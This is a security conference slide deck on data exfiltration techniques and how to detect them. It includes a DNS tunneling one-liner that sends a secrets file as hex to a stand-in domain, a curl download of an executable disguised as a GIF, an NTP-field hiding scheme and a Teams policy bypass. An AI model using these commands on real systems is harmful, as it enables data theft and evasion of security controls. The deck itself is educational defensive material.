



cy//ective

presents

101 Exfiltration Techniques

SOPHUS SIEGENTHALER
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HACKTOBER 2023

Agenda

YOUR HOSTS

WHAT IS DATA EXFILTRATION

TECHNIQUES

DEFENSE & TESTING


QUESTIONS & ANSWERS

Your /etc/hosts



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
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
What Is Data Exfiltration

"The process of transmitting unauthorized data from within a network to an external location or adversary"

What Is Data Exfiltration



What Is Data Exfiltration



What Is Data Exfiltration

MITRE ATT&CK

The MITRE ATT&CK framework has become an industry standard for **understanding and communicating about cyber adversary behavior**.

By providing a structured and **detailed view of the various stages and methods of cyberattacks**, it aids both in proactive defense and in reactive response and analysis.

Use Cases:

- Red Teams
- Penetration Tester
- Blue Teams / Defenders
- Threat Intelligence Analyst

What Is Data Exfiltration

MITRE ATT&CK

MITRE | ATT&CK®

Matrices ▾Tactics ▾Techniques ▾Data SourcesMitigations ▾GroupsSoftwareCampaignsResources ▾

TACTICS

Enterprise ^

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Mobile ▾

ICS ▾

Enterprise tactics

Tactics represent the "why" of an ATT&CK technique or sub-technique. It is the adversary's tactical goal: the reason for performing an action. For example, an adversary may want to achieve credential access.

Enterprise Tactics: 14

| ID | Name | Description |
|--------|----------------------|---|
| TA0043 | Reconnaissance | The adversary is trying to gather information they can use to plan future operations. |
| TA0042 | Resource Development | The adversary is trying to establish resources they can use to support operations. |
| TA0001 | Initial Access | The adversary is trying to get into your network. |
| TA0002 | Execution | The adversary is trying to run malicious code. |
| TA0003 | Persistence | The adversary is trying to maintain their foothold. |
| TA0004 | Privilege Escalation | The adversary is trying to gain higher-level permissions. |
| TA0005 | Defense Evasion | The adversary is trying to avoid being detected. |
| TA0006 | Credential Access | The adversary is trying to steal account names and passwords. |
| TA0007 | Discovery | The adversary is trying to figure out your environment. |
| TA0008 | Lateral Movement | The adversary is trying to move through your environment. |
| TA0009 | Collection | The adversary is trying to gather data of interest to their goal. |
| TA0011 | Command and Control | The adversary is trying to communicate with compromised systems to control them. |
| TA0010 | Exfiltration | The adversary is trying to steal data. |
| TA0040 | Impact | The adversary is trying to manipulate, interrupt, or destroy your systems and data. |

What Is Data Exfiltration

MITRE ATT&CK : TA0010 : Exfiltration

OBJECTIVES

- Transfer stolen data to a collection point

COMMON TECHNIQUES

- Data Compression
- Scheduled Transfer
- Encrypted Channels

DETECTION CHALLENGES

- Variety in exfiltration methods
- Use of legitimate services (e.g., cloud, email) to move data

MITIGATION STRATEGIES

- Data Loss Prevention (DLP) solutions
- Network segmentation
- Regular auditing of data transfers

What Is Data Exfiltration

MITRE ATT&CK : TA0010 : Exfiltration : Techniques

| ID | Name |
|------------------|--|
| T1020 | Automated Exfiltration |
| T1020.001 | Traffic Duplication |
| T1030 | Data Transfer Size Limits |
| T1048 | Exfiltration Over Alternative Protocol |
| T1048.001 | Exfiltration Over Symmetric Encrypted Non-C2 Protocol |
| T1048.002 | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
| T1048.003 | Exfiltration Over Unencrypted Non-C2 Protocol |
| T1041 | Exfiltration Over C2 Channel |
| T1011 | Exfiltration Over Other Network Medium |
| T1011.001 | Exfiltration Over Bluetooth |
| T1052 | Exfiltration Over Physical Medium |
| T1052.001 | Exfiltration over USB |
| T1567 | Exfiltration Over Web Service |
| T1567.001 | Exfiltration to Code Repository |
| T1567.002 | Exfiltration to Cloud Storage |
| T1567.003 | Exfiltration to Text Storage Sites |
| T1029 | Scheduled Transfer |
| T1537 | Transfer Data to Cloud Account |

<https://attack.mitre.org/tactics/TA0010/>

Techniques




Histiaeus - 5th century BC

Techniques

HTTP(S) TRAFFIC

- *Uncommon* or even custom verbs
- HTTP Headers
- Websockets
- Streams




DNS TUNNELING

Using DNS lookups to transfer message

```
$ dig $(cat secrets.txt | xxd -p).domain.tld
...
;6861636b746f6265722e63680a.domain.tld.
...
```

ICMP MESSAGES

The RFC for ICMP allows a few bytes inside an ICMP Echo Request



Techniques

SOCIAL MEDIA & SOFTWARE PLATFORMS

Communicate over commonly used "good/trusted" platforms.

(Social Media as C2, Git repos as C2)



<https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0>

VIRUSTOTAL

- Attached Exfil-Data to generic malware
- Write "malware" to disk, trigger EDR, submits sample
- Attacker collects the data from VT using VT API and YARA

<https://www.blackhat.com/docs/us-17/thursday/us-17-Kotler-The-Adventures-Of-Av-And-The-Leaky-Sandbox.pdf>

<https://go.safebreach.com/rs/535-IXZ-934/images/Everytime-You-Upload-A-Malware.pdf>

NTP

It's *time* to exfiltrate some data

```
type ntpPacket struct {  
    Flags      uint8 // leap indicator, version and mode  
    Stratum    uint8 // stratum of local clock  
    Poll       int8  // poll exponent  
    Precision  int8  // precision exponent  
    RootDelay  uint32 // root delay  
    RootDispersion uint32 // root dispersion  
    ReferenceID uint32 // reference id  
    RefTimeSec  uint32 // reference timestamp sec  
    RefTimeFrac uint32 // reference timestamp fractional  
    OrigTimeSec uint32 // origin time secs  
    OrigTimeFrac uint32 // origin time fractional  
    RxTimeSec   uint32 // receive time secs  
    RxTimeFrac  uint32 // receive time frac  
    TxTimeSec   uint32 // transmit time secs  
    TxTimeFrac  uint32 // transmit time frac, DATA WILL BE HIDDEN HERE  
}
```

Techniques

FILE TYPES



```
sed '1s/^/GIF87a/' calc.exe > calc.gif
```

```
curl.exe -qk -X GET -C 6 https://example.com/calc.gif > calc.exe
```


Techniques

FILE TYPES

My vulnerability reports

All

Pending

Reviewing

Developing


Complete

Additional Info

| Title/Short description | Status |
|--|----------|
| Bypass Teams File Sharing Policies | Complete |

Steps to Reproduce

- Rename a PDF file from `file.pdf` to `file.jpg`
- Drag and drop `file.jpg` into an MS Teams chat
- Get the picture/file URL from the browser dev tools or a HTTP(s) proxy
- Download the file as a guest by making a request to the endpoint `<SERVER URL>/v1/objects/<ID>/content/imgpsh` while in the context of the Teams call (cookies, etc.)
- Rename the file back to `file.pdf`




Introducing COMfiltrat0r

Techniques



COMFILTRATOR

USB Storage Blocked? No problem!

- Connect serial device
- Use a supported browser and send files as text to the device using JavaScript
- .. profit?



Web Serial API



<https://www.pjrc.com/store/teensy41.html>



Disconnect

Drag & Drop File Here

Chunk Size (10000)



- ▼ Anschlüsse (COM & LPT)
 - Serialles USB-Gerät (COM4)
- > Audio, Video und Gamecontroller



Datei

Computer

Ansicht



> Dieser PC



Dieser PC durchsuchen

▼ Schnellzugriff

Desktop

Downloads

Dokumente

Bilder

Musik

Videos

> OneDrive

> Dieser PC

> Netzwerk

> Ordner (7)

▼ Geräte und Laufwerke (1)



Lokaler Datenträger (C:)


215 GB frei von 245 GB



Defense & Testing

WHY SHOULD YOU CARE?

- Ransomware is one thing, customer data being sold another
- Costs **Gazillions*** of USD, per year
- Global average cost of a data breach in 2023 was USD 4.45 million - <https://www.ibm.com/reports/data-breach>




*Source: Annual reports from cybersecurity firms like Symantec, McAfee, and Sophos.

Studies from the Ponemon Institute, especially their annual Cost of a Data Breach Report.

Statistics from government or international organizations like the FBI's IC3 (Internet Crime Complaint Center) or Europol's European Cybercrime Centre.

Defense & Testing

Network data wasn't made for security.



Defense & Testing

TL;DR

- Shark all the wires
- Zeek all the connections
- Deeply inspect all the packets
- Check your logs :)
 - Firewalls
 - Networking Appliances
 - DNS-Servers



<https://zeek.org>




<https://corelight.com/>

Defense & Testing

conn.log | IP, TCP, UDP, ICMP connection details

| FIELD | TYPE | DESCRIPTION |
|----------------|----------|---|
| ts | time | Timestamp of the first packet |
| uid | string | Unique ID of the connection |
| id.orig_h | addr | Originating endpoint's IP address (Orig) |
| id.orig_p | port | Originating endpoint's TCP/UDP port (or ICMP code) |
| id.resp_h | addr | Responding endpoint's IP address (Resp) |
| id.resp_p | port | Responding endpoint's TCP/UDP port (or ICMP code) |
| proto | proto | Transport layer protocol of connection |
| service | string | Detected application protocol, if any |
| duration | interval | Connection length |
| orig_bytes | count | Orig payload bytes; from sequence numbers if TCP |
| resp_bytes | count | Resp payload bytes; from sequence numbers if TCP |
| conn_state | string | Connection state (see conn.log > conn_state) |
| local_orig | bool | Is Orig in Site::local_nets? |
| local_resp | bool | Is Resp in Site::local_nets? |
| missed_bytes | count | Number of bytes missing due to content gaps |
| history | string | Connection state history (see conn.log > history) |
| orig_pkts | count | Number of Orig packets |
| orig_ip_bytes | count | Number of Orig IP bytes (via IP total_length header field) |
| resp_pkts | count | Number of Resp packets |
| resp_ip_bytes | count | Number of Resp IP bytes (via IP total_length header field) |
| tunnel_parents | set | If tunneled, connection UID of encapsulating parent(s) |
| orig_l2_addr | string | Link-layer address of the originator |
| resp_l2_addr | string | Link-layer address of the responder |
| vlan | int | The outer VLAN for this connection |
| inner_vlan | int | The inner VLAN for this connection |

- conn.log
- dhcp.log
- dns.log
- ftp.log
- http.log
- irc.log
- kerberos.log
- mysql.log
- ntlm.log
- ntp.log
- radius.log
- rdp.log
- sip.log
- smb_files.log
- smtp.log
- snmp.log
- socks.log
- ssh.log
- syslog.log



Defense & Testing

egress0r

WHATS EGRESSOR


A tool to test egress connectivity and your network security monitoring solution by sending wrong packets towards wrong places

Noun [[edit](#)]

egressor (*plural* **egressors**)

1. One who [goes out](#).

<https://en.wiktionary.org/wiki/egressor>



<https://egress0r.io>

<https://github.com/cyllective/egress0r>

Defense & Testing

egress0r

FEATURES

- **ICMP** Exfiltration
- **DNS** Exfiltration
- **HTTP** Exfiltration
- **SMTP** Exfiltration
- **FTP** Exfiltration
- Test various/**all** destination **ports** (**TCP** & **UDP**)
- Full **IPv4** and **IPv6** support

Exfiltrated data can be any plaintext data that should trigger your DLP/NSM (credit card#, SSN#, etc.)

> ls egress0r/data

credit-cards-100.txt

iban-100.txt

ssn-100.txt

Defense & Testing

egress0r

HOW TO USE

- Register for a token at <https://egress0r.io>
- git clone
- Add e-mail and token to config
- Run via python or docker

Defense & Testing

egress0r vs. zeek

EGRESSOR ON THE RUN

\$ docker run **zeek/zeek**

\$ docker run **cyllective/egress0r**

- dns.log
- files.log
- ftp.log
- http.log
- notice.log
- ocsp.log
- reporter.log
- smtp.log
- ssl.log
- stats.log
- telemetry.log
- weird.log
- x509.log

Recap

MGMT SUMMARY

- Harden your network perimeter, block unnecessary connections / only allow what is truly needed
- Log everything, set up alerts for unusual behavior
- Use available tools for testing connectivity
- Stopping a determined attacker is nearly impossible, blocking opportunistic attackers is possible

Q&A

Invitation @Hackbar 202312

27.-30.12.2023

@Bern, Switzerland

<https://hackbar.ch>

Thank you #hacktober <3